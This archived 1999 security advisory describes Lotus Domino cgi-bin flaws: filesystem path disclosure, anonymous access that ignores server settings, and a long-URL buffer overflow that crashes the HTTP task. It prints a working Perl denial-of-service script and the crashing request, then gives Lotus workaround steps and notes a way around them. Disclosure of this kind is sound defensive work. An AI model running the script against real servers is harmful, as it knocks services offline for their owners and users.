Vulnerability
Lotus Domino
Affected
Lotus Domino
Description
Alain Thivillon found following. Lotus Domino HTTP server can be
used as a traditional Web server, with static html documents and
cgi-bin scripts handling. These features are turned on by
default, and use /cgi-bin virtual path, mapped to
<NOTESDATA>\domino\cgi-bin directory. When doing audit of these
functions, he found three vulnerabilites in handling of cgi
requests:
1. Domino server exposes configuration of local filesystem:
===========================================================
When requesting http://server/cgi-bin/blabla, HTTP response is
Error 500
Bad script request -- no variation of 'c:/notes/data/domino/cgi-bin/blabla' is executable
This can be used to obtain OS and installation details.
2. Turning off anonymous access in server document of Notes Name &
Adress Book as no effect for cgi-bin directory :
==================================================================
anonymous access is still permitted. The same applies to "SSL
redirection of entire server" : cgi-bin can still be accessed via
HTTP port.
3. Now the worst ...
====================
Handling of response to bad requests (see 1) is vulnerable to a
buffer overflow : by sending a large URL relative to cgi-bin,
HTTP task crashes immediatly, and does not service requests
anymore (including standard Notes database access by HTTP). If
Domino is launched as a NT service, service will not stop
completly, you need to kill remaining processes (using kill.exe
in Reskit) or reboot Windows NT. We notice that all requests does
not crash server, but sending
GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP/1.0
kills nHTTP.exe every time. Testers were able to reproduce this
on all 4.6.X series, including 4.6.6b, wich seems the last version
accessible on www.notes.net. Buffer overflow is maybe exploitable
to execute arbitrary code. On Unix versions problems 1. and 2.
are present. The same remark applies to Domino 5.x.
Demonstration script using Perl LWP module is given below. A
nessus plugin will be available thanks to Renaud Deraison on
http://www.nessus.org/
Demonstration script:
#!/usr/bin/perl -w
# This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and
# 4.6.6b).
# (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("a");
$target='Insertyourtargetnamehere';
$url="http://".$target."/cgi-bin/".'.'x800;
$url.='a'x4000;
my $req = new HTTP::Request GET => $url;
my $res = $ua->request($req);
if ($res->is_success) {
print $res->content;
}
else {
print "Well done, Joe\n";
}
Solution
If you don't use cgi-bin on your Domino server, change cgi-bin
virtual directory in server document to something impossible to
guess. Leaving field empty has no effect.
The buffer overflow problem in notes as mentioned by Alain
Thivillion can be worked around if you don't use cgi-scripts at
all, or are prepared to do a bit of work for all the scripts that
are on the server (posted bz Bram Kerkhof).
The procedure (Lotus Notes knowledgebase):
The workaround in versions prior to 4.6.1 is to create a URL
redirect in the DOMCFG.NSF database that redirects any anomalous
CGI requests to another URL. Since any non-existent CGI calls
can cause this error, the following workaround is suggested.
* If the customer does not require the use of any CGI's, then
the entire /cgi-bin directory can be redirected to another URL
(a Notes database, or html file). If any "/cgi-bin" requests
are made, they will be directed to this URL and are not
processed as CGI.
* If the customer does require the use of CGI's the following
setup will be required:
1) In the HTTP section of the Server Document, change the "CGI
URL path" field to a different URL path. This does not
require a change for the "CGI directory" field, such that
the location on the hard drive for CGI's will remain the
same. Only the URL which invokes CGI's will be altered.
Example: The default CGI URL path is "/cgi-bin"; change
this to "/scripts/cgi-bin". Now, whenever a /cgi-bin
request is made, it is recognized as a URL instead of a
CGI.
2) Create a URL Redirect document in the DOMCFG.NSF for each
specific CGI that resides on the server. Specify the
incoming URL path as "/cgi-bin", and the redirection URL as
"/scripts/cgi-bin".
Example: A customer has a CGI named "Xrun.cgi" in the
domino/cgi-bin directory. Regularly, any requests to
execute the CGI would come in as
"http://hostname/cgi-bin/Xrun.cgi". This URL request is
redirected to "http://hostname/scripts/cgi-bin/Xrun.cgi",
where Domino will recognize it as a CGI, and run the
script. In this case, the "/cgi-bin" URL itself is not
recognized as a CGI request. It is only the redirection
to "/scripts/cgi-bin" that will cause the Domino server to
process it as a CGI script
At this point, any generic requests for CGI's using "/cgi-bin"
will not be recognized as CGI. Instead, the Web server will
search for a comparable filename, returning "Error 404- file not
found" since it is not capable of finding such a URL. The
customer can now customize the error message to indicate that
the requested CGI does not reside on the server.
The above configuration is designed to accomplish the following:
* Since the current Domino 4.6 Server code may crash any time a
non-existent CGI is requested, the potential to run non-existent
CGI's must be removed. By this configuration anomalous CGI
requests are not recognized as CGI scripts, and Domino will not
attempt to run them.
* The CGI URL path is altered so that only CGI's using the URL
"/scripts/cgi-bin..." will be recognized as CGI's. The
administrator then creates a URL redirect document for each
present CGI that redirects any valid URL requests using the
syntax "/cgi-bin..." to the URL "/scripts/cgi-bin...". The
Domino Server will then invoke the CGI script. This will avoid
the Domino Server attempting to run a CGI that is not present on
the server, running only valid CGI's.
* Since the URL redirect does not display the redirected URL to
the browser, end users need not ever know the true URL path to
invoke CGI scripts. This further protects the site from
unscrupulous web clients deliberately attempting to crash the
server by requesting to invoke a non-existent URL. Such a user
would need to know the exact URL path to issue for the server
to recognize it is a request for a CGI, and would have no way
to determine this URL under a secure site.
It means that you have to set your cgi-bin path to something
which is, as Alain stated, unguessable, but has the advantage of
not disclosing this path to the visitors of the site and
maintainig the possibility to run CGI's if needed. The full
knowledgebase article is available at
http://www.support.lotus.com/sims2.nsf/0/6ecb87e6e6820b008525659f0080d40c?OpenDocument
The described workaround does work for Notes-Servers not using
CGI at all. However, there is still a problem with hiding the
cgi's in a different script directory. Notes sends the ,,real''
script directory in the Content-Base-Field of the header. Using
this information, the machine can still be crashed (tested
successfully on 4.6.2a).
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
